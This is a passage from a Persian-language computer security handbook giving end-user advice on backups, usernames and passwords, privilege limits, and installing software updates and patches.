افزارها يـك نـسخة       دهد، هميشه از ديسكهاي فشردة نرم     مي

ثانويه تهيه كـرده و از آن بـراي عمليـات نـصب و پـشتيباني         
  .استفاده نماييد

  هاي پشتيبانمهمترين نكته در مورد نسخه

هاي پـشتيبان ايـن اسـت كـه         ه در مورد نسخه   مهمترين نكت 
. تهية پشتيبان بايد در فواصـل زمـاني مـنظم صـورت بگيـرد             

دهنـد و   بعضي اشخاص زحمت تهية پشتيبان را به خود نمـي         
ايـن افـراد    . ممكن است به عواقب اينكار خود گرفتـار شـوند         

كننـد  شوند تصور مي    عموماً وقتي هم كه با مشكلي روبرو مي       
همچنان توصية ما اين اسـت      . رار نخواهد شد  مشكل ديگر تك  

كه از مخاطرة احتمالي پيشگيري كنيد و نسخة پشتيبان تهيه          
  .نماييد

  تصديق هويت
كند كه رايانـه بدانـد         اين امكان را فراهم مي     ٢٣تصديق هويت 

شود كـه بتـوان از        اين دانايي باعث مي   . شما چه كسي هستيد   
 ـ    . تقلب جلوگيري كرد   ام كـاربري و رمـز      معمولاً شما با يك ن
هـاي مختلفـي از ايـن       شويد، هرچند گونـه   عبور شناسايي مي  

نكتة قابل توجـه ايـن اسـت    . سيستمهاي شناسايي وجود دارد  
كه بايد كلماتي بعنوان رمز عبور بكار گرفته شوند كـه نتـوان             
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. آنها را براحتي حدس زد تا مهاجمان نتوانند آنها را پيدا كننـد            
ي آن كلمات در حافظه نيز امكانپـذير        در عين حال بايد يادآور    

اگر شما مرتباً با رايانه و      . باشد و شخص آنها را فراموش نكند      
پايگاه وب در تماس باشيد قاعدتاً تا كنون نامهاي كـاربري و            

ايـد، امـا اگـر آنهـا را بـر      رمزهاي عبور زيادي به خاطر سپرده 
ز امنيت ايد بايد بدانيد كه اروي يك كاغذ نزديك رايانه نوشته     

  .زيادي برخوردار نيستند

  شناسايي كاربر

خواهنـد كـه    اكثر سيستمها براي شناسايي افـراد از آنهـا مـي          
توانـد بـا    ايـن مـسئله مـي     . اي هويت خود را احراز كنند     بگونه

نـام كـاربري، شـمارة      : دريافت اطلاعات مختلفي انجام شـود     
؛ كـه در ايـن مباحـث عمومـاً از نـام             ...عضويت، اسم عضو و   

در بعـضي سيـستمها بجـاي نـام         . شـود   اربري استفاده مـي   ك
در . شــود كــاربري از آدرس پــست الكترونيكــي اســتفاده مــي

حقيقت در ايـن سيـستمها آدرس پـست الكترونيكـي بعنـوان         
در خـصوص نـام   . گـردد  نمادي خاص از نام كاربري تلقي مي   

  :تواند وجود داشته باشد كاربري قوانين مختلفي مي

كننـد ولـي       طول اسم را محدود مي     بعضي از سيستمها   •
 .شوند بعضي ديگر براي آن محدوديتي قائل نمي

 كـه   -توان از هـر علامتـي         در بعضي از سيستمها مي     •
 در تركيب نـام     -كليد قابل نوشتن باشد     بوسيلة صفحه 

كــاربري اســتفاده كــرد، ولــي بعــضي ديگــر فقــط در 
محدودة حـروف و اعـداد و فقـط انـدكي در محـدودة              

 .كنند ر ميعلائم كا

بعضي سيستمها حـروف بـزرگ و كوچـك را يكـسان             •
گيرند ولي بعضي ديگر با آنهـا بـه منزلـة دو          درنظر مي 

 .كنندحرف متفاوت برخورد مي

اگر سيستم به شما امكان انتخاب ندهـد، نـام كـاربري شـما              
اما اگر  . هماني خواهد بود كه بوسيلة سيستم تعيين شده است        

بر را تعيين كنيد چه نكـاتي را بايـد          لازم باشد خودتان نام كار    
  :مد نظر قرار دهيد؟ بعضي موارد در زير آمده است

آيا درنظر داريد نام كاربري نـشاندهندة هويـت واقعـي            •
شما باشد؟ آيا قرار اسـت ايـن اسـم كمـك كنـد كـه                
دوستان و همكارانتان شـما را بـشناسند؟ يـك آدرس           

ي از  پست الكترونيكي معمولاً بعنوان يك چنين نمـاد       
 .شود كاربر تلقي مي

خواهيد با انتخاب نام مورد نظـر هويـت واقعـي             آيا مي  •
خود را پنهان نگه داريد؟ اگر بوسيلة اين نـام كـاربري            

مثلاً يـك بـازي    (كنيد  در يك فعاليت گروهي شركت مي     
شايد نخواهيد ديگران هويـت واقعـي شـما را          ) اينترنتي
 .بدانند

كه يادآوري آن آسان    خواهيد نامي انتخاب كنيد       آيا مي  •
 استفاده كنيد كـه  ٢٤خدمت برخطباشد؟ چنانچه از يك     
گيريد ممكن است مايل باشيد از        به ندرت آنرا بكار مي    

بعـضي  . اسمي استفاده كنيد كه براحتي در ذهن بمانـد        
افراد براي خدمات مختلف از يك نام كاربري اسـتفاده          

كنند، خـصوصاً اگـر آن خـدمات بـا نكتـة مهـم و               مي
 .سي در ارتباط نباشندحسا

بريد بـراي     خواهيد حدس زدن نامي كه بكار مي      آيا مي  •
ديگران مشكل باشد؟ نام كاربري حساب بـانكي شـما          

اي تعيين شود كه ديگران نتوانند به راحتـي           بايد بگونه 
جهت تأمين امنيـت لازم بايـد از پـشتيباني          (آنرا حدس بزنند    
لكترونيك عمومي خود   اگر از آدرس پست ا    . چندلايه استفاده كرد  

زدن آن بـراي    براي ورود به سيستم بانكي استفاده كنيـد، حـدس         
 ).تر خواهد بود سارقان ساده

  رمز عبور

در بعــضي سيــستمها نــام كــاربري از ســوي سيــستم تعيــين 
اي است كه در هر صورت توسط         شود، ولي رمز عبور كلمه      مي

اشـد كـه   اي ب گردد و شكل آن نيز بايد بگونـه      كاربر تعيين مي  
  .حدس زدنش توسط اشخاص ديگر دشوار باشد

شـوند    زمانيكه رمزهاي عبور در سيـستم ميزبـان ذخيـره مـي           
شوند تا اگر كسي به ديسك دسترسـي          معمولاً رمزگذاري مي  

در بعضي موارد   . پيدا كرد قادر به مشاهدة رمزهاي عبور نباشد       
اي است كه امكان رمزگشايي رمزهـاي       اين رمزگذاري بگونه  

در . گويند مي ٢٥رمزگذاري يكسويه ر وجود ندارد كه به آن       عبو
اين سيستمها وقتي براي ورود به سيـستم رمـز عبـور را وارد              

شده شود و سپس با نسخة ذخيره     كنيد، ابتدا رمزگذاري مي    مي

                                                                  
24  Online Service 
25  One-way Encryption 
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 همين ۱براي جزئيات بيشتر به ضميمة (گردد در ديسك مقايسه مي   
  ).بخش رجوع كنيد

  :قانون سوم
ي استفاده كنيد كه بتوان آنـرا براحتـي         از رمز عبور  

به خاطر آورد، ولي حدس زدن آن بـراي ديگـران           
  .مشكل باشد

به علت فقـدان امنيـت لازم در بعـضي سيـستمهاي ميزبـان              
گاهي اوقات اين امكان وجود دارد كه مهاجمان به رمز عبـور            

شـده را   تمامي كاربران دست يابند و رمزهاي عبور رمزگذاري       
اگـر بـراي تمـام رمزهـاي عبـور از رمزگـذاريِ             حتـي   . بيابند

يكسويه استفاده شده باشد باز هم ممكن است مهاجم بتوانـد           
رمز عبور شما را كشف كند؛ چـون الگوريتمهـاي رمزگـذاري            

تواند از  شده هستند و لذا مهاجم مي     اين رمزهاي عبور شناخته   
آن الگوريتمها براي رمزگذاري همـة كلمـات درون فرهنـگ           

لذا مـثلاً اگـر   . اير رمزهاي عبور متداول استفاده كندلغات و س  
 بعنوان رمز عبور استفاده كرده باشـيد  birthdayشما از كلمة  

شـود   متوجـه مـي  birthdayمهاجم هنگام رمزگذاري كلمـة      
شـده آن بـا آنچـه كـه روي ديـسك اسـت              نسخة رمزگذاري 

  .مطابقت دارد و لذا از آن پس رمز عبور شما را خواهد دانست

ز آنجا كه كل ايدة استفاده از رمزهاي عبور براي صدور اجازة       ا
ورود شما به سيستم در زمان دلخواه و دشـوار كـردن حـدس              

تـوان چنـد مشخـصه بـراي        آن توسط افراد ديگر اسـت، مـي       
مـشابه نامهـاي كـاربري،      . رمزهاي عبور مستحكم بر شـمرد     

اينجا نيز سيستمهاي مختلف قـوانين متفـاوتي را بـراي رمـز             
حداقل و حـداكثر طـول، حـروف مجـاز بـراي            (اند    بور درنظر گرفته  ع

  ).استفاده، و ساير موارد

هرگز از يك كلمة منفرد در زبان مادري خـود بعنـوان             •
انتخـاب يـك عبـارت، يـك        . رمز عبور استفاده نكنيـد    

ــراي ايــن منظــور   ــاتي از كلمــات ب ــا قطع ــه، و ي جمل
 . تر است مناسب

هم حروف كوچك   چنانچه سيستم هم حروف بزرگ و        •
كند،   را در رمزهاي عبور بعنوان حروف مجاز قلمداد مي        

 ولي نه در جاي صحيح -از هر دوي آنها استفاده كنيد     
  .بينيِ خودو قابل پيش

درصورت امكان از اعـداد تركيبـي، علامتهـاي مجـاز و             •
 .همچنين فضاهاي خالي استفاده كنيد

اده دهد كه از فـضاي خـالي اسـتف          اگر سيستم اجازه مي    •
كنيد يا رمز عبور شـما بـه شـكل يـك عبـارت اسـت                

ها را حـذف      توانيد در رمز عبور خود بعضي از فاصله        مي
-يعني رمز متشكل از لغاتي باشد كه به يكديگر چـسبيده          (كنيد  

 ).اند

براي اينكه رمز عبور خود را به آساني به خاطر بـسپاريد             •
ه توانيد از همين رمز عبور در چندين سيستم استفاد          مي
البته اگر اينكار را انجام دهيد و فردي رمز عبـور           . كنيد

شما را در يكي از اين سيـستمها كـشف كنـد، امنيـت              
سيــستمهاي ديگــر كــه در آنهــا از رمــز عبــور مــشابه 

بنـابراين  . كرديد نيز به خطـر خواهـد افتـاد        استفاده مي 
چنين رمز عبوري را براي سيـستمهايي انتخـاب كنيـد      

بعنـوان مثـال بـراي      . صي ندارند كه نياز به حفاظت خا    
ها و ديگر مطالب، نيازي بـه         استفاده از مطالب روزنامه   

پرداخت پول يا ارائه اطلاعـات محرمانـه نيـست، امـا            
ها در پايگاه وب  براي خواندن مقالات بعضي از روزنامه   

. مربوطه بايد يك نام كاربري و رمـز عبـور وارد كنيـد            
 سيـستم آنهـا وارد      خواهند شما به    درواقع آنها فقط مي   

توانيـد بــراي خوانـدن مطالــب   شـويد؛ بنـابر ايــن مـي   
هاي مختلف از يك رمز عبـور مـشابه اسـتفاده          روزنامه
 .نماييد

بعضي افراد حروف را با علائم يا ارقام مـشابه عـوض             •
، از  "L"يـا   " I"بجـاي حـروف     " 1"كنند؛ مثلاً از رقم       مي

" 0"م  ، از رق  "E"بجاي حرف   " #"يا علامت   " 3"شمارة  
، و  "A"بجاي حـرف    " @"، از علامت    "O"بجاي حرف   

اينكـار  . نماينـد استفاده مي " S"بجاي حرف   " 5"از رقم   
ترفند خوبي است، اما به يـاد داشـته باشـيد كـه يـك               

ايـن  . هـا كـاملاً آشناسـت    اي با اين حقـه   مهاجم حرفه 
كند، اما غير ممكـن       ها كار وي را كمي سخت مي        حقه
 .سازد نمي

يا هر كلمة " aye"يا ) چشم" (eye"ا به جاي    ر" I"حرف   •
اينكار بخـصوص   . معنادار در زبان خودتان عوض كنيد     

كـه پـس از ايـن تغييـر بـه           " icon"براي لغاتي مثـل     
"eyecon "شود مفيد است تبديل مي . 
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اسـتفاده  ) حروف اول لغتهاي سازنده يك عبارت     (ها    از سرنام  •
ي شـعار   سـرنامي بـرا   " tgbwc"بعنـوان مثـال     . نماييد

) "Things Go Better With Coke"(معـروف كوكـاكولا   
 .باشد مي

كردن لغات بصورت برعكس آنها را كمي مـبهم           هجي •
 .نمايد شان را سخت نميكند، اما شناسايي مي

 :هرگز از موارد زير بعنوان رمز عبور خود استفاده نكنيد •

o يك نام يا مشتقات آن؛ 
o نام كاربري يا اسم مستعار خودتان؛  
o م همسر، يا اسامي فرزندان و والدين؛نا  
o اسامي دوستان، رؤسا و يا همكاران؛  
o اسامي حيوانات خانگي؛  
o روز تولد خود يا هريك از دوستان و خويشاوندان؛  
o شمارة تلفن، شمارة گواهينامه يا مدارك مشابه؛  
o رنگ مورد علاقه؛  
o مقام يا عنوان شغلي؛  
o كنيد؛نام سازماني كه در آن كار مي  
o  شويد؛ ديگري كه با آن شناخته مي هر چيز  
o    ــل ــيك مث ــور كلاس ــاي عب ــا " Xyzzy"رمزه ي

"Plover) "           رمزهاي عبـور مـورد اسـتفاده در بـسياري از
  ؛"open sesame"، و )اي هاي رايانه بازي

o            ،لغاتي كه در فيلمهاي محبـوب و معـروف، اخبـار
شـود؛ مثـل      داستانها و يا ادبيات از آنها استفاده مي       

"Harry Potter" ،"Lord of the Rings " و
"Gone with the Wind"؛  

o    كليـد كـه در كنـار هـم قـرار           حروف روي صـفحه
  ؛"SDFGHJ"اند مانند  گرفته

o مثالهاي قبل به اضافة يك رقم قبل و بعد از آنها؛  
o      تكرار حروف يا ارقام در كنار هم يا بصورت ترتيبي

  ".ABCDE"يا " aaaa9999"، "۱۲۳۴۵۶"مثل 

 تعداد حروف رمز عبور بايد از مقـدار         در بعضي سيستمها   •
معيني بيشتر باشد و يـا تعـداد مشخـصي از حـروف و              

اگـر در تايـپ كـردن       . ارقام به اتفاق هم را در بر گيرد       
حروف ضعيف باشيد و فردي از پشت سـر بـه شـما و              

كليد نگاه كند، خواهد توانست رمز عبور شـما را          صفحه
 .بفهمد

ون نوشتن آنـرا بخـاطر      رمز عبور هرچه كه باشد بايد بد       •
هرگز رمز عبـور را جـايي ننويـسيد و آنـرا در             . بسپاريد

 . محل كار يا روي برچسبهاي عناوين قرار ندهيد

نـشدة رمزهـاي عبـور را در    هرگـز فهرسـت رمزگـذاري    •
 .اي ذخيره نكنيد فايلهاي رايانه

اي تصادفي از حروف و ارقام است، اما    بهترين رمز عبور، رشته   
 بخاطر سپردن اين رمزهاي عبور بـسيار سـخت          براي اكثر ما  

اصلاً جالـب نيـست كـه رمـز عبـور در يـك دفتـر                . باشدمي
مثالهـايي از   . كليـد نوشـته شـده باشـد       يادداشت يا زير صفحه   

ها،   رمزهاي عبور مناسب براي سيستمهايي كه حروف، شماره       
پذيرند و ميان حـروف       هاي خاص و جاهاي خالي را مي        نشانه

ايـن  . انـد شوند ذيلاً ارائه شده تفاوت قائل ميكوچك و بزرگ    
شـوند، امـا يـافتن آنهـا در           رمزها بسادگي به خاطر سپرده مي     

  .باشدفرهنگهاي لغات و يا حدس زدنشان بسيار دشوار مي

  توضيحات                    رمز عبور
C

om
puters 

A
re U

seful
 

عبــارتي كــه بــسياري از كــاربران رايانــه بــا آن 
  .تندموافق هس

C
om

puters 
aR

euseFul
 

قرار دادن يك جـاي خـالي مناسـب و اسـتفاده            
  . طنزآميز از حروف بزرگ

C
0m

puter5@
reus#fv1

" @"،  "S"بجـاي   " O"  ،"5"بجاي حرف   " 0"رقم   
، و  "U"بجـاي   " E"  ،"V"بجـاي   " #"،  "a"بجاي  

؛ در اين مثـال جـاي خـالي       "L"بجاي حرف   " 1"
  .وجود ندارد

C
om

p9uter8sa
re7usef6ul

 

عبــارت اوليــه بــدون جــاي خــالي و قــراردادن 
  . حرف۴هايي بين هر  شماره

C
om

utrsa
reusful

 

  .عبارت اوليه با چند حرف جا افتاده
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گـويي    در بسياري از كشورهايي كه سنّت قـصه       
وجود دارد اشكال استانداردي براي آغاز داستان       

ان در زبان انگليسي داستانهاي كودك    . وجود دارد 
 ,Once upon a timeمعمـولاً بـا عبـارت    

there wasدر ايـن مثـال از   . شوند  شروع مي
ابتداي هر لغت دو حرف گرفته شـده تـا طـول            
كلمه عبور محدود شـود و در عـين حـال قابـل             

  .شناسايي نباشد

oN
up@

 T-1thuua
 

هـا و   همان عبارت قبلـي كـه در آن جـايگزيني         
  .شده بكار رفته استعلامتهاي گفته

  رمز عبور خود را تغيير دهيد

رمزهاي عبور بايد بصورت متناوب تغيير كنند، اما تناوب ايـن           
برخي از متخصصان امنيتـي     . تغيير همچنان مورد بحث است    

اند كه رمز عبور خود را در فواصل زمـاني كوتـاه              توصيه كرده 
شـود   اي معتقدنـد كـه اينكـار باعـث مـي            تغيير دهيد؛ اما عده   

ده انتخـاب شـوند و يـا بـراي جلـوگيري از             رمزهاي عبور سا  
بــراي كاربردهــاي . فرامــوش شــدن در جــايي نوشــته شــوند

  :شوند معمولي نكات زير توصيه مي

كنيد رمز عبورتان در معرض سـرقت بـوده    اگر فكر مي  •
 .سريعاً آنرا عوض كنيد

اگر رمز عبورتان را به هر دليلـي بـه شـخص ديگـري        •
 بـه اشـتراك گذاشـتن       .ايد بسرعت آنرا تغيير دهيد      داده

رمزهاي عبور كار صحيحي نيست و بايد از آن اجتناب          
اي جـز آن وجـود نداشـته        كرد؛ مگر اينكه واقعاً چـاره     

 .باشد

معنـي  . رمزهاي عبور را بصورت متناوب عـوض كنيـد         •
. از ديدگاه افراد مختلف، متفاوت اسـت      " متناوب"كلمة  

ب  ماه تا يكسال بـه نظـر مناس ـ        ۶هايي بين     شايد دوره 
 .باشند

اگر سياست سازماني شما در اين مورد دقيقتر اسـت از            •
 .آن پيروي كنيد

  امتيازات را محدود كنيد
دهنـد     محدودي ارائه مي   ٢٦امتيازاتاكثر سيستمها به كاربران     

هنگاميكـه راهبـر و   . كه از امتيازات راهبر سيستم كمتر اسـت  
كـاربر  ) صيهاي شخ   نظير بسياري از رايانه   (كاربر رايانه يكي باشند     

كلية كارهاي خـود را بـا اسـتفاده از امتيـاز دسترسـي كامـل                
دهد؛ درحاليكه بهتر     انجام مي ) ٢٨امتيازات راهبر  يا   ٢٧امتيازات ريشه (

است براي فعاليتهاي غيرراهبري از يـك نـام كـاربري مجـزا       
اينكار احتمال خراب شدن ناخواسـتة سيـستم را         . استفاده كند 
 مهاجم نيز از آسيب وارده بـه  دهد و درصورت نفوذ   كاهش مي 

  .كاهدسيستم تا حد قابل توجهي مي

                                                                  
26  Privilege 
27  Root Privilege 
28  Administrator Privilege 
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  فصل چهارم
  عامل امنيت سيستم

  افزارهاي كاربردي و نرم

  كليات
پـردازيم كـه از آنهـا بـراي         در اين فصل به بررسي فنوني مي      

افزارهاي كاربردي در     عامل و نرم  پذيري سيستم   كاهش آسيب 
  .شود برابر نفوذهاي امنيتي استفاده مي

  مقدمه
  .كنند ها را اجرا مي ها برنامه رايانه: اصل اول
  .ها اشكال دارند برنامه: اصل دوم

اصل اول بديهي است؛ و اصل دوم نيـز بـا توجـه بـه اينكـه                 
نويسان افراد بدون نقـص نيـستند كـاملاً مـورد انتظـار                 برنامه
معلوم نيست چـرا ايـن حجـم زيـاد از مـسائل امنيتـي               . است

هنگام توسعه برنامه   . نويسي هستند الات برنامه مربوط به اشك  
 ٢٩سـرريز شـدن بـافر     توان از بروز اشكالاتي نظير      براحتي مي 

رسد تقريبـاً نيمـي از        جلوگيري كرد، اما با اين وجود بنظر مي       
  .اند مشكلات جدي امنيتي از اين دسته

  افزارهاي تجاري نرم

  كند؟ افزار تجاري معمولاً چگونه كار مييك نرم

خريديد، تا زمـان      افزار را مي     سال قبل هنگاميكه يك نرم     چند
روزرساني در آن اعمال      عرضة نسخة جديد آن به بازار هيچ به       

مـسائل  به دليـل     بخصوص   -امروزه بدلايل مختلف    . شد  نمي
روزرســاني  افزارهــا بــصورت مــنظم بــه  بيــشتر نــرم-امنيتــي 

هـا،  عامل  افزارهـا مثـل سيـستم       بـراي برخـي از نـرم      . شوند  مي
به معنـي انجـام اينكـار بـصورت روزانـه           " منظم  روزرساني    به"

                                                                  
29  Buffer Overflow 

روزرساني اغلب محصولات معمولاً بـراي كـاربران          به. ٣٠است
  .اي در بر ندارد هزينه

دهند بـراي     افزار تجاري ارائه مي     بسياري از شركتهايي كه نرم    
ــيب   ــكالات و آس ــع اش ــرم   رف ــي ن ــذيريهاي امنيت ــزار،  پ اف

براي دريافـت خـدمات   . كنند نيز ارائه ميهاي آنرا  روزرساني  به
توانيد به پايگاه وب      روزرساني فروشندگان بزرگ معمولاً مي    به

" Download"يـا   " Support"آنها مراجعه كنيد و از قسمت       
  .شده براي محصولات را بيابيداصلاحات ارائه

كنيـد    افـزار مراجعـه مـي       وقتي بـه پايگـاه وب فروشـندة نـرم         
هاي مورد استفادة خود را تعيـين   ري و نسخهافزا هاي نرم   بسته
هـاي  روزرسـاني  نماييد و سپس پايگاه وب فهرسـتي از بـه        مي

در برخـي از مـوارد كـاملاً    . قابل دريافت را ارائه خواهـد كـرد       
شده براي رايانه شـما     هاي ارائه روزرساني  مشخص است كه به   

قابل استفاده هستند، اما در بعضي مـوارد ديگـر ايـن مـسئله              
هاي مورد نظرتان   روزرساني  وقتي شما به  . ضوح كمتري دارد  و

كنيـد و در مرحلـة         مي downloadرا انتخاب كرديد، آنها را      
افـزار امكـان      با توجه به نـوع نـرم      . نماييد بعد آنها را نصب مي    

ايـد بـسادگي و در يـك         كرده downloadاي كه     دارد برنامه 
ازمنـد اجـراي    مرحله اجرا شود و يا اينكه براي نصب شدن ني         

افـزاري  در برخي موارد بستة نرم    . دستورالعملهاي خاصي باشد  
 شدن تقريباً بصورت خودكار     downloadروزرساني بعد از      به

  .گردد نصب مي

در سالهاي اخير معمولاً از سه روش عمده براي ارائه خـدمات   
  :روزرساني استفاده شده است به

، Microsoft Windowsهـايي نظيـر    بـراي برنامـه   .۱
روزرساني را از طريق      هاي به   شركت مايكروسافت بسته  

. كنـد  منتـشر مـي  " Windows Update"پايگاه وب 
افزاري رايانـة شـما را بررسـي كـرده و             يك برنامة نرم  
هاي مورد نياز سيستم را ارائـه       روزرساني  فهرستي از به  

توانيـد آنهـا را انتخـاب،         نمايـد، و آنگـاه شـما مـي        مي
downloadد و نصب كني.  

                                                                  
 Microsoftل يك مشكل امنيتي جدي در  و بدنبا۲۰۰۳اكتبر در   ۳۰

Windowsــر   ، مايكروســافت نتيجــه ــه شــايد غي ــرد ك ــري ك گي
هـاي   بينانه و نامعمول باشد كه توقع داشته باشد كاربران وصـله           واقع

هـا را   امنيتي را بطور هفتگي نـصب كننـد؛ و لـذا از آن پـس وصـله      
دي كند، مگر در حالتي كه مشكل بسيار ج       بصورت ماهانه منتشر مي   

  .و فوري باشد
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روزرسـاني كـه بـه روش فـوق           گاهي اوقات بـستة بـه      .۲
download روزرساني واقعي نيست، بلكـه       شود به  مي

روزرساني واقعـي را      اي است كه در زمان اجرا به        برنامه
download اين برنامـه ممكـن اسـت تنهـا         . كند مي

 كه اندازة كوچكي    - كيلو بايت حجم داشته باشد       ۵۰۰
شود؛ افزار محسوب مي    نرمروزرساني    هاي به براي بسته 

روزرساني   اي است كه به     اما در حقيقت اين فقط برنامه     
كنـد و سـپس آنـرا نـصب            مـي  downloadواقعي را   

اي در حدود   روزرساني واقعي شايد اندازه     نمايد؛ و به    مي
 . مگا بايت داشته باشد۳۰

اي ها داراي توابع از پيش تعريـف شـده          برخي از برنامه   .۳
هـاي   روزرسـاني  پويا به بررسـي بـه  هستند كه بصورت    

ــه ــيارائ ــده م ــا را    ش ــاربر آنه ــازة ك ــا اج ــد و ب پردازن
downloadنمايند و نصب مي. 

در . انـد   اين قابليتها براي آسانتر شدن كار شما طراحـي شـده          
روزرسـاني مـورد      هاي به   كلية موارد وظيفة انتخاب دقيق بسته     

اي  ردي خاص، كار پيچيدهافزارهاي كارب عامل و نرمكه براي سيستم(نياز 
  .شودها و بصورت خودكار انجام مي بوسيلة برنامه) است

  مشكل كشورهاي درحال توسعه

ــي  ــشاهده م ــه م ــانطور ك ــدهاي   هم ــسياري از فرآين ــد ب كني
روزرساني براي اجرا در محيط متصل بـه اينترنـت طراحـي             به

ــستهشــده ــد و ب ــه  ان ــايتي را  هــاي ب روزرســاني چنــدين مگاب
download لــذا اســتفاده از ايــن روش تنهــا در . كننــد مــي
بخش خواهد بـود كـه يـك ارتبـاط پرسـرعت            صورتي نتيجه 

اينترنتي داشته باشيد و يـا بتوانيـد ارتبـاط تلفنـي خـود را تـا                 
هـاي   امـا معمـولاً در كـشور   . چندين ساعت برقرار نگه داريـد    

  .درحال توسعه اين امكان وجود ندارد

  :مشكل موجود استدو روش براي مقابله با اين 

ــه  .۱ ــر ب ــرم  از خي ــاني ن ــزار روزرس ــاربردي و   اف ــاي ك ه
  .عامل خود بگذريد  سيستم

ــه    .۲ ــستة ب ــد ب ــري بخواهي ــرد ديگ ــاني را  از ف روزرس
download        كند و جزئيات دستورالعمل نصب را ارائه 

تواند از طريـق  روزرساني مي در اينصورت بستة به   . دهد
 .ديسكهاي فشرده يا شبكة محلي توزيع شود

در شرايطي كه احتمال خطرات امنيتي درحال افـزايش اسـت           
بنـابراين تنهـا گزينـة مناسـب     . رسدراه اول منطقي بنظر نمي    

download ــه ــردن و ب ــتراك ك ــله اش ــتن وص ــا و گذاش ه
  .شده استdownloadاصلاحهاي 

  :چند راه براي انجام اينكار وجود دارد

ر فنـي  اگر سازماني داراي ماشينهاي متعدد باشد، راهب ـ   •
ــسئوليت   ــد م ــسته downloadباي ــصب ب ــاي   و ن ه

 .روزرساني آنرا بر عهده گيرد به

تواننــد  اي يــا گروههــاي ديگــر مــي كلوپهــاي رايانــه •
 كننـد و آنهـا را   downloadروزرساني را    هاي به   بسته

 .در اختيار اعضا قرار دهند

تواننـد       مـي  ٣١)هـا ISP(كنندگان خـدمات اينترنتـي      ارائه •
رســـاني محـــصولات رايـــج و روز هـــاي بـــه بـــسته
عاملهاي مـشترك را تهيـه و بـصورت محلـي             سيستم

بـا اينكـار نيازمنـدي      . ميان كاربران خود توزيـع كننـد      
ISP    شـود و لـذا       المللي كـم مـي      ها به پهناي باند بين

 . يابد هزينة آنها نيز كاهش مي

روزرساني   هاي به   توانند بسته   اي مي فروشگاههاي رايانه  •
 .يان خود قرار دهندرا در اختيار مشتر

 هنگاميكـه يـك كـرم اينترنتـي باعـث      ۲۰۰۳در سال    •
ها شد، مايكروسافت در كـشورهاي        پذيري رايانه   آسيب

هـاي    مختلف براي مقابله با آن اقدام بـه توزيـع بـسته           
. روزرساني بـر روي ديـسكهاي فـشرده اقـدام كـرد             به

 .تواند ادامه يابداستفاده از اين روش همچنان هم مي

روزرسـاني چنـدان      هـاي بـه     سه شيوة اخير توزيع بسته    هرچند  
روز نگهداشتن    رايج نيستند، اما با توجه به افزايش نياز براي به         

توانند به يـك اسـتراتژي مـؤثر تجـاري بـراي            ها مي   افزار  نرم
ISP            ها و فروشندگان در كـشورهاي درحـال توسـعه تبـديل
شـود،  مـي اگرچه از اين استراتژيهاي پشتيباني استقبال       . شوند

هـاي  روزرسـاني اما كاربران بايد مطمئن شوند كـه منـابع بـه          
اگـر منـابع محلـي قابـل        . محلي نيز قابـل اطمينـان هـستند       

اطمينان نباشند ممكن است به مركزي براي توزيع ويروسـها          
  .و تراواها تبديل شوند

                                                                  
31 Internet Service Providers 
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روزرساني را بايد پـس از انتـشار،          هاي به     آيا بسته 
  سريعاً نصب نمود؟

 چندين دهه ميان متخصصان رايانه در جريان بـوده        اين بحث 
  :در اين زمينه دو ديدگاه متفاوت وجود دارد. است

روزرسـاني را نـصب       هاي به    اگر سريعاً بسته   :موافقان
شـده ايمـن    كنيد، خود را در مقابـل آسـيبهاي شـناخته         

هـاي   بـا اسـتفاده از ايمنـي حاصـل از بـسته          . ايـد   كرده
دهـد    سيـستم اجـازه مـي     روزرساني، تا سـطحي كـه         به
توانيـد از خـود در برابـر نفـوذ و افـشاي اطلاعـات                 مي

 .محافظت نماييد

نويــسان هنگــام     امكــان دارد برنامــه  :مخالفــان 
نويسي دچار اشتباه شـوند يـا بخـش ديگـري از             برنامه
همچنــين ممكــن اســت در .  را مختــل نماينــد برنامــه
ي هـاي اصـل     روزرسـاني بـه انـدازة برنامـه         هاي به     بسته

لـذا ايـن    . پـذيري وجـود داشـته باشـد       اشكال و آسيب  
روزرسـاني مـشكلات      احتمال وجود دارد كـه بـستة بـه        

جديدي را بوجود بياورد كه به مـشكل قبلـي ارتبـاطي            
  .نداشته باشد

شده كه با استفاده از     انتشار هر از چندگاه نقايص امنيتي كشف      
 ـ     آنها مهاجمان بـه سيـستم نفـوذ كـرده و داده            ب هـا را تخري

هنگاميكـه يـك    .  كنند دامنة اين مسئله را تغيير داده است         مي
 حتي اگر اين اعلام توسط يك       -شود    نقص امنيتي اعلام مي   

 مهاجمان سريعاً ابزارهايي براي     -وصلة امنيتي صورت پذيرد     
آورند، و درنتيجه ممكن     استفاده از آن نقص را بوجود مي        سوء  

هاي امنيتي منتشرشده     است سيستم رايانة افرادي كه از وصله      
  .گيرد كنند سريعاً مورد تهاجم قرار  استفاده نمي

  :پيشنهاد عملي

هايشان براي كارهاي     كاربران مبتدي و افرادي كه رايانه      •
هـاي      شـود بايـد كليـة بـسته         غيرحساس اسـتفاده مـي    

براي . روزرساني را بلافاصله بعد از انتشار بكار گيرند         به
 نشده، خطر مـشكلات جديـد       روزرساني  اي كه به  رايانه

روزرسـاني بـه مراتـب كمتـر از           هاي به     حاصل از بسته  
  .نشده استروزرساني پذيريهاي بهخطرات آسيب

هـاي    اي و كاركنان بخش فني بايد بـسته         كاربران حرفه  •
تواننـد    روزرساني امنيتي را سريعاً نصب كنند، امـا مـي           به

 عملكـرد   روزرساني را با توجه بـه نـوع         هاي به   بقية بسته 
اي يا چند ماهه      تأخير چند هفته  . بندي نمايند   آنها اولويت 

دهـد    ها به كاربران ماجراجو اجازه مي     در نصب اين بسته   
روزرساني را نصب كنند، مشكلات احتمالي        هاي به   بسته

 پـيش از اينكـه      -را كشف و گزارش نمايند، و با اينكار         
وليدكننده  به ت  -ها را نصب كرده باشيد      روزرساني  شما به 

  .فرصت اصلاح نقايص جديد را بدهند

تواننـد يـك    توان گفت كه تغييرات چه زمـاني مـي          هرگز نمي 
به همين  . افزار كاربردي را از روند صحيح اجرا خارج كنند          نرم

دليل اگر از رايانة شما در فعاليتهاي حساس تجـاري اسـتفاده            
شــود، بهتــرين راهكــار ايــن اســت كــه پــيش از اعمــال  مــي
هاي جديد، ابتـدا تغييـرات را روي يـك دسـتگاه            وزرسانير به

  .چندان حياتي آزمايش كنيدمشابه و نه

  افزارهاي غيرسنتي و غيرتجاري نرم
عاملهـا و    در بحث قبل بر محصولات تجاري شـامل سيـستم         

هاي كاربردي عمده متمركز شـديم كـه در بـسياري از              برنامه
 ـ   . محيطهاي محاسباتي مرسـوم هـستند      افزارهـاي    رمامـا در ن

